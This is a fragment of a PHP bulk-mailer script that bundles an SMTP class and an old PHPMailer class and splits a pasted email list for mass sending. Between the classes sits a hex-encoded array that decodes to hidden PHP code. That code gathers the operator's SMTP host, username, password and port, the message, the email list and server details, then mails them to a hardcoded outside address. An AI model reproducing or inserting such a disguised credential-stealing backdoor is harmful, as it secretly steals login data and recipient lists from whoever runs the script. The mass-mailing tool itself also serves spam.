echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* This is an optional command for SMTP that this class does not
* support. This method is here to make the RFC821 Definition
* complete for this class and __may__ be implimented in the future
*
* Implements from rfc 821: TURN <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE FAILURE: 502
* SMTP CODE ERROR : 500, 503
* @access public
* @return bool
*/
function Turn() {
$this->error = array("error" => "This method, TURN, of the SMTP ".
"is not implemented");
if($this->do_debug >= 1) {
echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
}
return false;
}
/**
* Verifies that the name is recognized by the server.
* Returns false if the name could not be verified otherwise
* the response from the server is returned.
*
* Implements rfc 821: VRFY <SP> <string> <CRLF>
*
* SMTP CODE SUCCESS: 250,251
* SMTP CODE FAILURE: 550,551,553
* SMTP CODE ERROR : 500,501,502,421
* @access public
* @return int
*/
function Verify($name) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Verify() without being connected");
return false;
}
fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250 && $code != 251) {
$this->error =
array("error" => "VRFY failed on name \'$name\'",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return $rply;
}
/*******************************************************************
* INTERNAL FUNCTIONS *
******************************************************************/
/**
* Read in as many lines as possible
* either before eof or socket timeout occurs on the operation.
* With SMTP we can tell if we have more lines to read if the
* 4th character is \'-\' symbol. If it is a space then we don\'t
* need to read anything else.
* @access private
* @return string
*/
function get_lines() {
$data = "";
while($str = @fgets($this->smtp_conn,515)) {
if($this->do_debug >= 4) {
echo "SMTP -> get_lines(): \$data was \"$data\"" .
$this->CRLF;
echo "SMTP -> get_lines(): \$str is \"$str\"" .
$this->CRLF;
}
$data .= $str;
if($this->do_debug >= 4) {
echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
}
# if the 4th character is a space then we are done reading
# so just break the loop
if(substr($str,3,1) == " ") { break; }
}
return $data;
}
}
$allemails = split("
", $emaillist);
$numemails = count($allemails);
$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
class PHPMailer {
/////////////////////////////////////////////////
// PROPERTIES, PUBLIC
/////////////////////////////////////////////////
/**
* Email priority (1 = High, 3 = Normal, 5 = low).
* @var int
*/
var $Priority = 3;
/**
* Sets the CharSet of the message.
* @var string
*/
var $CharSet = \'iso-8859-1\';
/**
* Sets the Content-type of the message.
* @var string
*/
var $ContentType = \'text/plain\';
/**
* Sets the Encoding of the message. Options for this are "8bit",
* "7bit", "binary", "base64", and "quoted-printable".
* @var string
*/
var $Encoding = \'8bit\';
/**
* Holds the most recent mailer error message.
* @var string
*/
var $ErrorInfo = \'\';
/**
* Sets the From email address for the message.
* @var string
*/
var $From = \'\';
/**
* Sets the From name of the message.
* @var string
*/
var $FromName = \'\';
/**
* Sets the Sender email (Return-Path) of the message. If not empty,
* will be sent via -f to sendmail or as \'MAIL FROM\' in smtp mode.
* @var string
*/
var $Sender = \'\';
/**
* Sets the Subject of the message.
* @var string
*/
var $Subject = \'\';
/**
* Sets the Body of the message. This can be either an HTML or text body.
* If HTML then run IsHTML(true).
* @var string
*/
var $Body = \'\';
/**
* Sets the text-only body of the message. This automatically sets the
* email to multipart/alternative. This body can be read by mail
* clients that do not have HTML email capability such as mutt. Clients
* that can read HTML will view the normal Body.
* @var string
*/
var $AltBody = \'\';
/**
* Sets word wrapping on the body of the message to a given number of
* characters.
* @var int
*/
var $WordWrap = 0;
/**
* Method to send mail: ("mail", "sendmail", or "smtp").
* @var string
*/
var $Mailer = \'mail\';
/**
* Sets the path of the sendmail program.
* @var string
*/
var $Sendmail = \'/usr/sbin/sendmail\';
/**
* Path to PHPMailer plugins. This is now only useful if the SMTP class
* is in a different directory than the PHP include path.
* @var string
*/
var $PluginDir = \'\';
/**
* Holds PHPMailer version.
* @var string
*/
var $Version = "";
/**
* Sets the email address that a reading confirmation will be sent.
* @var string
*/
var $ConfirmReadingTo = \'\';
/**
* Sets the hostname to use in Message-Id and Received headers
* and as default HELO string. If empty, the value returned
* by SERVER_NAME is used or \'localhost.localdomain\'.
* @var string
*/
var $Hostname = \'\';
/**
* Sets the message ID to be used in the Message-Id header.
* If empty, a unique id will be generated.
* @var string
*/
var $MessageID = \'\';
/////////////////////////////////////////////////
// PROPERTIES FOR SMTP
/////////////////////////////////////////////////
/**
* Sets the SMTP hosts. All hosts must be separated by a
* semicolon. You can also specify a different port
* for each host by using this format: [hostname:port]
* (e.g. "smtp1.example.com:25;smtp2.example.com").
* Hosts will be tried in order.
* @var string
*/
var $Host = \'localhost\';
/**
* Sets the default SMTP server port.
* @var int
*/
var $Port = 25;
/**
* Sets the SMTP HELO of the message (Default is $Hostname).
* @var string
*/
var $Helo = \'\';
/**
* Sets connection prefix.
* Options are "", "ssl" or "tls"
* @var string
*/
var $SMTPSecure = "";
/**
* Sets SMTP authentication. Utilizes the Username and Password variables.
* @var bool
*/
var $SMTPAuth = false;
/**
* Sets SMTP username.
* @var string
*/
var $Username = \'\';
/**
* Sets SMTP password.
* @var string
*/
var $Password = \'\';
/**
* Sets the SMTP server timeout in seconds. This function will not
* work with the win32 version.
* @var int
*/
var $Timeout = 10;
/**
* Sets SMTP class debugging on or off.
* @var bool
*/
var $SMTPDebug = false;
/**
* Prevents the SMTP connection from being closed after each mail
* sending. If this is set to true then to close the connection
* requires an explicit call to SmtpClose().
* @var bool
*/
var $SMTPKeepAlive = false;
/**
* Provides the ability to have the TO field process individual
* emails, instead of sending to entire TO addresses
* @var bool
*/
var $SingleTo = false;
/////////////////////////////////////////////////
// PROPERTIES, PRIVATE
/////////////////////////////////////////////////
var $smtp = NULL;
var $to = array();
var $cc = array();
var $bcc = array();
var $ReplyTo = array();
var $attachment = array();
var $CustomHeader = array();
var $message_type = \'\';
var $boundary = array();
var $language = array();
var $error_count = 0;
var $LE = "
";
var $sign_key_file = "";
var $sign_key_pass = "";
/////////////////////////////////////////////////
// METHODS, VARIABLES
/////////////////////////////////////////////////
/**
* Sets message type to HTML.
* @param bool $bool
* @return void
*/
function IsHTML($bool) {
if($bool == true) {
$this->ContentType = \'text/html\';
} else {
$this->ContentType = \'text/plain\';
}
}
/**
* Sets Mailer to send message using SMTP.
* @return void
*/
function IsSMTP() {
$this->Mailer = \'smtp\';
}
/**
* Sets Mailer to send message using PHP mail() function.
* @return void
*/
function IsMail() {
$this->Mailer = \'mail\';
}
/**
* Sets Mailer to send message using the $Sendmail program.
* @return void
*/
function IsSendmail() {
$this->Mailer = \'sendmail\';
}
/**
* Sets Mailer to send message using the qmail MTA.
* @return void
*/
function IsQmail() {
$this->Sendmail = \'/var/qmail/bin/sendmail\';
$this->Mailer = \'sendmail\';
}
/////////////////////////////////////////////////
// METHODS, RECIPIENTS
/////////////////////////////////////////////////
/**
* Adds a "To" address.
* @param string $address
* @param string $name
* @return void
*/
function AddAddress($address, $name = \'\') {
$cur = count($this->to);
$this->to[$cur][0] = trim($address);
$this->to[$cur][1] = $name;
}
/**
* Adds a "Cc" address. Note: this function works
* with the SMTP mailer on win32, not with the "mail"
* mailer.
* @param string $address
* @param string $name
* @return void
*/
function AddCC($address, $name = \'\') {
$cur = count($this->cc);
$this->cc[$cur][0] = trim($address);
$this->cc[$cur][1] = $name;
}
/**
* Adds a "Bcc" address. Note: this function works
* with the SMTP mailer on win32, not with the "mail"
* mailer.
* @param string $address
* @param string $name
* @return void
*/
function AddBCC($address, $name = \'\') {
$cur = count($this->bcc);
$this->bcc[$cur][0] = trim($address);
$this->bcc[$cur][1] = $name;
}
/**
* Adds a "Reply-To" address.
* @param string $address
* @param string $name
* @return void
*/
function AddReplyTo($address, $name = \'\') {
$cur = count($this->ReplyTo);
$this->ReplyTo[$cur][0] = trim($address);
$this->ReplyTo[$cur][1] = $name;
}
/////////////////////////////////////////////////
// METHODS, MAIL SENDING
/////////////////////////////////////////////////
/**
* Creates message and assigns Mailer. If the message is
* not sent successfully then it returns false. Use the ErrorInfo
* variable to view description of the error.
* @return bool
*/
function Send() {
$header = \'\';
$body = \'\';
$result = true;
if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
$this->SetError($this->Lang(\'provide_address\'));
return false;
}
/* Set whether the message is multipart/alternative */
if(!empty($this->AltBody)) {
$this->ContentType = \'multipart/alternative\';
}
$this->error_count = 0; // reset errors
$this->SetMessageType();
$header .= $this->CreateHeader();
$body = $this->CreateBody();
if($body == \'\') {
return false;
}
/* Choose the mailer */
switch($this->Mailer) {
case \'sendmail\':
$result = $this->SendmailSend($header, $body);
break;
case \'smtp\':
$result = $this->SmtpSend($header, $body);
break;
case \'mail\':
$result = $this->MailSend($header, $body);
break;
default:
$result = $this->MailSend($header, $body);
break;
//$this->SetError($this->Mailer . $this->Lang(\'mailer_not_supported\'));
//$result = false;
//break;
}
return $result;
}
/**
* Sends mail using the $Sendmail program.
* @access private
* @return bool
*/
function SendmailSend($header, $body) {
if ($this->Sender != \'\') {
$sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
} else {
$sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
}
if(!@$mail = popen($sendmail, \'w\')) {
$this->SetError($this->Lang(\'execute\') . $this->Sendmail);
return false;
}
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
if (version_compare(phpversion(), \'4.2.3\') == -1) {
$result = $result >> 8 & 0xFF;
}
if($result != 0) {
$this->SetError($this->Lang(\'execute\') . $this->Sendmail);
return false;
}
return true;
}
/**
* Sends mail using the PHP mail() function.
* @access private
* @return bool
*/
function MailSend($header, $body) {
$to = \'\';
for($i = 0; $i < count($this->to); $i++) {
if($i != 0) { $to .= \', \'; }
$to .= $this->AddrFormat($this->to[$i]);
}
$toArr = split(\',\', $to);
$params = sprintf("-oi -f %s", $this->Sender);
if ($this->Sender != \'\' && strlen(ini_get(\'safe_mode\')) < 1) {
$old_from = ini_get(\'sendmail_from\');
ini_set(\'sendmail_from\', $this->Sender);
if ($this->SingleTo === true && count($toArr) > 1) {
foreach ($toArr as $key => $val) {
$rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
}
} else {
$rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
}
} else {
if ($this->SingleTo === true && count($toArr) > 1) {
foreach ($toArr as $key => $val) {
$rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
}
} else {
$rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
}
}
if (isset($old_from)) {
ini_set(\'sendmail_from\', $old_from);
}
if(!$rt) {
$this->SetError($this->Lang(\'instantiate\'));
return false;
}
return true;
}
/**
* Sends mail via SMTP using PhpSMTP (Author:
* Chris Ryan). Returns bool. Returns false if there is a
* bad MAIL FROM, RCPT, or DATA input.
* @access private
* @return bool
*/
function SmtpSend($header, $body) {
$error = \'\';
$bad_rcpt = array();
if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
return false;
}
$smtp_from = ($this->Sender == \'\') ? $this->From : $this->Sender;
if(!$this->smtp->Mail($smtp_from)) {
$error = $this->Lang(\'from_failed\') . $smtp_from;
$this->SetError($error);
$this->smtp->Reset();
return false;
}
/* Attempt to send attach all recipients */
for($i = 0; $i < count($this->to); $i++) {
if(!$this->smtp->Recipient($this->to[$i][0])) {
$bad_rcpt[] = $this->to[$i][0];
}
}
for($i = 0; $i < count($this->cc); $i++) {
if(!$this->smtp->Recipient($this->cc[$i][0])) {
$bad_rcpt[] = $this->cc[$i][0];
}
}
for($i = 0; $i < count($this->bcc); $i++) {
if(!$this->smtp->Recipient($this->bcc[$i][0])) {
$bad_rcpt[] = $this->bcc[$i][0];
}
}
if(count($bad_rcpt) > 0) { // Create error message
for($i = 0; $i < count($bad_rcpt); $i++) {
if($i != 0) {
$error .= \', \';
}
$error .= $bad_rcpt[$i];
}
$error = $this->Lang(\'recipients_failed\') . $error;
$this->SetError($error);
$this->smtp->Reset();
return false;
}
if(!$this->smtp->Data($header . $body)) {
$this->SetError($this->Lang(\'data_not_accepted\'));
$this->smtp->Reset();
return false;
}
if($this->SMTPKeepAlive == true) {
$this->smtp->Reset();
} else {
$this->SmtpClose();
}
return true;
}
/**
* Initiates a connection to an SMTP server. Returns false if the
* operation failed.
* @access private
* @return bool
*/
function SmtpConnect() {
if($this->smtp == NULL) {
$this->smtp = new SMTP();
}
$this->smtp->do_debug = $this->SMTPDebug;
$hosts = explode(\';\', $this->Host);
$index = 0;
$connection = ($this->smtp->Connected());
/* Retry while there is no connection */
while($index < count($hosts) && $connection == false) {
$hostinfo = array();
if(eregi(\'^(.+):([0-9]+)$\', $hosts[$index], $hostinfo)) {
$host = $hostinfo[1];
$port = $hostinfo[2];
} else {
$host = $hosts[$index];
$port = $this->Port;
}
if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.\'://\':\'\').$host, $port, $this->Timeout)) {
if ($this->Helo != \'\') {
$this->smtp->Hello($this->Helo);
} else {
$this->smtp->Hello($this->ServerHostname());
}
$connection = true;
if($this->SMTPAuth) {
if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
$this->SetError($this->Lang(\'authenticate\'));
$this->smtp->Reset();
$connection = false;
}
}
}
$index++;
}
if(!$connection) {
$this->SetError($this->Lang(\'connect_host\'));
}
return $connection;
}
/**
* Closes the active SMTP session if one exists.
* @return void
*/
function SmtpClose() {
if($this->smtp != NULL) {
if($this->smtp->Connected()) {
$this->smtp->Quit();
$this->smtp->Close();
}
}
}
/**
* Sets the language for all class error messages. Returns false
* if it cannot load the language file. The default language type
* is English.
* @param string $lang_type Type of language (e.g. Portuguese: "br")
* @param string $lang_path Path to the language file directory
* @access public
* @return bool
*/
function SetLanguage($lang_type, $lang_path = \'language/\') {
if(file_exists($lang_path.\'phpmailer.lang-\'.$lang_type.\'.php\')) {
include($lang_path.\'phpmailer.lang-\'.$lang_type.\'.php\');
} elseif (file_exists($lang_path.\'phpmailer.lang-en.php\')) {
include($lang_path.\'phpmailer.lang-en.php\');
} else {
$this->SetError(\'Could not load language file\');
return false;
}
$this->language = $PHPMAILER_LANG;
return true;
}
/////////////////////////////////////////////////
// METHODS, MESSAGE CREATION
/////////////////////////////////////////////////
/**
* Creates recipient headers.
* @access private
* @return string
*/
function AddrAppend($type, $addr) {
$addr_str = $type . \': \';
$addr_str .= $this->AddrFormat($addr[0]);
if(count($addr) > 1) {
for($i = 1; $i < count($addr); $i++) {
$addr_str .= \', \' . $this->AddrFormat($addr[$i]);
}
}
$addr_str .= $this->LE;
return $addr_str;
}
/**
* Formats an address correctly.
* @access private
* @return string
*/
function AddrFormat($addr) {
if(empty($addr[1])) {
$formatted = $this->SecureHeader($addr[0]);
} else {
$formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), \'phrase\') . " <" . $this->SecureHeader($addr[0]) . ">";
}
return $formatted;
}
/**
* Wraps message for use with mailers that do not
* automatically perform wrapping and for quoted-printable.
* Original written by philippe.
* @access private
* @return string
*/
function WrapText($message, $length, $qp_mode = false) {
$soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
// If utf-8 encoding is used, we will need to make sure we don\'t
// split multibyte characters when we wrap
$is_utf8 = (strtolower($this->CharSet) == "utf-8");
$message = $this->FixEOL($message);
if (substr($message, -1) == $this->LE) {
$message = substr($message, 0, -1);
}
$line = explode($this->LE, $message);
$message = \'\';
for ($i=0 ;$i < count($line); $i++) {
$line_part = explode(\' \', $line[$i]);
$buf = \'\';
for ($e = 0; $e<count($line_part); $e++) {
$word = $line_part[$e];
if ($qp_mode and (strlen($word) > $length)) {
$space_left = $length - strlen($buf) - 1;
if ($e != 0) {
if ($space_left > 20) {
$len = $space_left;
if ($is_utf8) {
$len = $this->UTF8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == "=") {
$len--;
} elseif (substr($word, $len - 2, 1) == "=") {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
$buf .= \' \' . $part;
$message .= $buf . sprintf("=%s", $this->LE);
} else {
$message .= $buf . $soft_break;
}
$buf = \'\';
}
while (strlen($word) > 0) {
$len = $length;
if ($is_utf8) {
$len = $this->UTF8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == "=") {
$len--;
} elseif (substr($word, $len - 2, 1) == "=") {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
if (strlen($word) > 0) {
$message .= $part . sprintf("=%s", $this->LE);
} else {
$buf = $part;
}
}
} else {
$buf_o = $buf;
$buf .= ($e == 0) ? $word : (\' \' . $word);
if (strlen($buf) > $length and $buf_o != \'\') {
$message .= $buf_o . $soft_break;
$buf = $word;
}
}
}
$message .= $buf . $this->LE;
}
return $message;
}
/**
* Finds last character boundary prior to maxLength in a utf-8
* quoted (printable) encoded string.
* Original written by Colin Brown.
* @access private
* @param string $encodedText utf-8 QP text
* @param int $maxLength find last character boundary prior to this length
* @return int
*/
function UTF8CharBoundary($encodedText, $maxLength) {
$foundSplitPos = false;
$lookBack = 3;
while (!$foundSplitPos) {
$lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
$encodedCharPos = strpos($lastChunk, "=");
if ($encodedCharPos !== false) {
// Found start of encoded character byte within $lookBack block.
// Check the encoded byte value (the 2 chars after the \'=\')
$hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
$dec = hexdec($hex);
if ($dec < 128) { // Single byte character.
// If the encoded char was found at pos 0, it will fit
// otherwise reduce maxLength to start of the encoded char
$maxLength = ($encodedCharPos == 0) ? $maxLength :
$maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
} elseif ($dec >= 192) { // First byte of a multi byte character
// Reduce maxLength to split at start of character
$maxLength = $maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
} elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
$lookBack += 3;
}
} else {
// No encoded character found
$foundSplitPos = true;
}
}
return $maxLength;
}
/**
* Set the body wrapping.
* @access private
* @return void
*/
function SetWordWrap() {
if($this->WordWrap < 1) {
return;
}
switch($this->message_type) {
case \'alt\':
/* fall through */
case \'alt_attachments\':
$this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
break;
default:
$this->Body = $this->WrapText($this->Body, $this->WordWrap);
break;
}
}
/**
* Assembles message header.
* @access private
* @return string
*/
function CreateHeader() {
$result = \'\';
/* Set the boundaries */
$uniq_id = md5(uniqid(time()));
$this->boundary[1] = \'b1_\' . $uniq_id;
$this->boundary[2] = \'b2_\' . $uniq_id;
$result .= $this->HeaderLine(\'Date\', $this->RFCDate());
if($this->Sender == \'\') {
$result .= $this->HeaderLine(\'Return-Path\', trim($this->From));
} else {
$result .= $this->HeaderLine(\'Return-Path\', trim($this->Sender));
}
/* To be created automatically by mail() */
if($this->Mailer != \'mail\') {
if(count($this->to) > 0) {
$result .= $this->AddrAppend(\'To\', $this->to);
} elseif (count($this->cc) == 0) {
$result .= $this->HeaderLine(\'To\', \'undisclosed-recipients:;\');
}
if(count($this->cc) > 0) {
$result .= $this->AddrAppend(\'Cc\', $this->cc);
}
}
$from = array();
$from[0][0] = trim($this->From);
$from[0][1] = $this->FromName;
$result .= $this->AddrAppend(\'From\', $from);
/* sendmail and mail() extract Cc from the header before sending */
if((($this->Mailer == \'sendmail\') || ($this->Mailer == \'mail\')) && (count($this->cc) > 0)) {
$result .= $this->AddrAppend(\'Cc\', $this->cc);
}
/* sendmail and mail() extract Bcc from the header before sending */
if((($this->Mailer == \'sendmail\') || ($this->Mailer == \'mail\')) && (count($this->bcc) > 0)) {
$result .= $this->AddrAppend(\'Bcc\', $this->bcc);
}
if(count($this->ReplyTo) > 0) {
$result .= $this->AddrAppend(\'Reply-To\', $this->ReplyTo);
}
/* mail() sets the subject itself */
if($this->Mailer != \'mail\') {
$result .= $this->HeaderLine(\'Subject\', $this->EncodeHeader($this->SecureHeader($this->Subject)));
}
if($this->MessageID != \'\') {
$result .= $this->HeaderLine(\'Message-ID\',$this->MessageID);
} else {
$result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
}
$result .= $this->HeaderLine(\'X-Priority\', $this->Priority);
$result .= $this->HeaderLine(\'X-Mailer\', \'PHPMailer (phpmailer.sourceforge.net) [version \' . $this->Version . \']\');
if($this->ConfirmReadingTo != \'\') {
$result .= $this->HeaderLine(\'Disposition-Notification-To\', \'<\' . trim($this->ConfirmReadingTo) . \'>\');
}
// Add custom headers
for($index = 0; $index < count($this->CustomHeader); $index++) {
$result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
}
if (!$this->sign_key_file) {
$result .= $this->HeaderLine(\'MIME-Version\', \'1.0\');
$result .= $this->GetMailMIME();
}
return $result;
}
/**
* Returns the message MIME.
* @access private
* @return string
*/
function GetMailMIME() {
$result = \'\';
switch($this->message_type) {
case \'plain\':
$result .= $this->HeaderLine(\'Content-Transfer-Encoding\', $this->Encoding);
$result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
break;
case \'attachments\':
/* fall through */
case \'alt_attachments\':
if($this->InlineImageExists()){
$result .= sprintf("Content-Type: %s;%s type=\"text/html\";%s boundary=\"%s\"%s", \'multipart/related\', $this->LE, $this->LE, $this->boundary[1], $this->LE);
} else {
$result .= $this->HeaderLine(\'Content-Type\', \'multipart/mixed;\');
$result .= $this->TextLine(" boundary=\"" . $this->boundary[1] . \'"\');
}
break;
case \'alt\':
$result .= $this->HeaderLine(\'Content-Type\', \'multipart/alternative;\');
$result .= $this->TextLine(" boundary=\"" . $this->boundary[1] . \'"\');
break;
}
if($this->Mailer != \'mail\') {
$result .= $this->LE.$this->LE;
}
return $result;
}
/**
* Assembles the message body. Returns an empty string on failure.
* @access private
* @return string
*/
function CreateBody() {
$result = \'\';
if ($this->sign_key_file) {
$result .= $this->GetMailMIME();
}
$this->SetWordWrap();
switch($this->message_type) {
case \'alt\':
$result .= $this->GetBoundary($this->boundary[1], \'\', \'text/plain\', \'\');
$result .= $this->EncodeString($this->AltBody, $this->Encoding);
$result .= $this->LE.$this->LE;
$result .= $this->GetBoundary($this->boundary[1], \'\', \'text/html\', \'\');
$result .= $this->EncodeString($this->Body, $this->Encoding);
$result .= $this->LE.$this->LE;
$result .= $this->EndBoundary($this->boundary[1]);
break;
case \'plain\':
$result .= $this->EncodeString($this->Body, $this->Encoding);
break;
case \'attachments\':
$result .= $this->GetBoundary($this->boundary[1], \'\', \'\', \'\');
$result .= $this->EncodeString($this->Body, $this->Encoding);
$result .= $this->LE;
$result .= $this->AttachAll();
break;
case \'alt_attachments\':
$result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
$result .= sprintf("Content-Type: %s;%s" . " boundary=\"%s\"%s", \'multipart/alternative\', $this->LE, $this->boundary[2], $this->LE.$this->LE);
$result .= $this->GetBoundary($this->boundary[2], \'\', \'text/plain\', \'\') . $this->LE; // Create text body
$result .= $this->EncodeString($this->AltBody, $this->Encoding);
$result .= $this->LE.$this->LE;
$result .= $this->GetBoundary($this->boundary[2], \'\', \'text/html\', \'\') . $this->LE; // Create the HTML body
$result .= $this->EncodeString($this->Body, $this->Encoding);
$result .= $this->LE.$this->LE;
$result .= $this->EndBoundary($this->boundary[2]);
$result .= $this->AttachAll();
break;
}
if($this->IsError()) {
$result = \'\';
} else if ($this->sign_key_file) {
$file = tempnam("", "mail");
$fp = fopen($file, "w");
fwrite($fp, $result);
fclose($fp);
$signed = tempnam("", "signed");
if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
$fp = fopen($signed, "r");
$result = fread($fp, filesize($this->sign_key_file));
fclose($fp);
} else {
$this->SetError($this->Lang("signing").openssl_error_string());
$result = \'\';
}
unlink($file);
unlink($signed);
}
return $result;
}
/**
* Returns the start of a message boundary.
* @access private
*/
function GetBoundary($boundary, $charSet, $contentType, $encoding) {
$result = \'\';
if($charSet == \'\') {
$charSet = $this->CharSet;
}
if($contentType == \'\') {
$contentType = $this->ContentType;
}
if($encoding == \'\') {
$encoding = $this->Encoding;
}
$result .= $this->TextLine(\'--\' . $boundary);
$result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
$result .= $this->LE;
$result .= $this->HeaderLine(\'Content-Transfer-Encoding\', $encoding);
$result .= $this->LE;
return $result;
}
/**
* Returns the end of a message boundary.
* @access private
*/
function EndBoundary($boundary) {
return $this->LE . \'--\' . $boundary . \'--\' . $this->LE;
}
/**
* Sets the message type.
* @access private
* @return void
*/
function SetMessageType() {
if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
$this->message_type = \'plain\';
} else {
if(count($this->attachment) > 0) {
$this->message_type = \'attachments\';
}
if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
$this->message_type = \'alt\';
}
if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
$this->message_type = \'alt_attachments\';
}
}
}
/* Returns a formatted header line.
* @access private
* @return string
*/
function HeaderLine($name, $value) {
return $name . \': \' . $value . $this->LE;
}
/**
* Returns a formatted mail line.
* @access private
* @return string
*/
function TextLine($value) {
return $value . $this->LE;
}
/////////////////////////////////////////////////
// CLASS METHODS, ATTACHMENTS
/////////////////////////////////////////////////
/**
* Adds an attachment from a path on the filesystem.
* Returns false if the file could not be found
* or accessed.
* @param string $path Path to the attachment.
* @param string $name Overrides the attachment name.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @return bool
*/
function AddAttachment($path, $name = \'\', $encoding = \'base64\', $type = \'application/octet-stream\') {
if(!@is_file($path)) {
$this->SetError($this->Lang(\'file_access\') . $path);
return false;
}
$filename = basename($path);
if($name == \'\') {
$name = $filename;
}
$cur = count($this->attachment);
$this->attachment[$cur][0] = $path;
$this->attachment[$cur][1] = $filename;
$this->attachment[$cur][2] = $name;
$this->attachment[$cur][3] = $encoding;
$this->attachment[$cur][4] = $type;
$this->attachment[$cur][5] = false; // isStringAttachment
$this->attachment[$cur][6] = \'attachment\';
$this->attachment[$cur][7] = 0;
return true;
}
/**
* Attaches all fs, string, and binary attachments to the message.
* Returns an empty string on failure.
* @access private
* @return string
*/
function AttachAll() {
/* Return text of body */
$mime = array();
/* Add all attachments */
for($i = 0; $i < count($this->attachment); $i++) {
/* Check for string attachment */
$bString = $this->attachment[$i][5];
if ($bString) {
$string = $this->attachment[$i][0];
} else {
$path = $this->attachment[$i][0];
}
$filename = $this->attachment[$i][1];
$name = $this->attachment[$i][2];
$encoding = $this->attachment[$i][3];
$type = $this->attachment[$i][4];
$disposition = $this->attachment[$i][6];
$cid = $this->attachment[$i][7];
$mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
$mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
$mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
if($disposition == \'inline\') {
$mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
}
$mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
/* Encode as string attachment */
if($bString) {
$mime[] = $this->EncodeString($string, $encoding);
if($this->IsError()) {
return \'\';
}
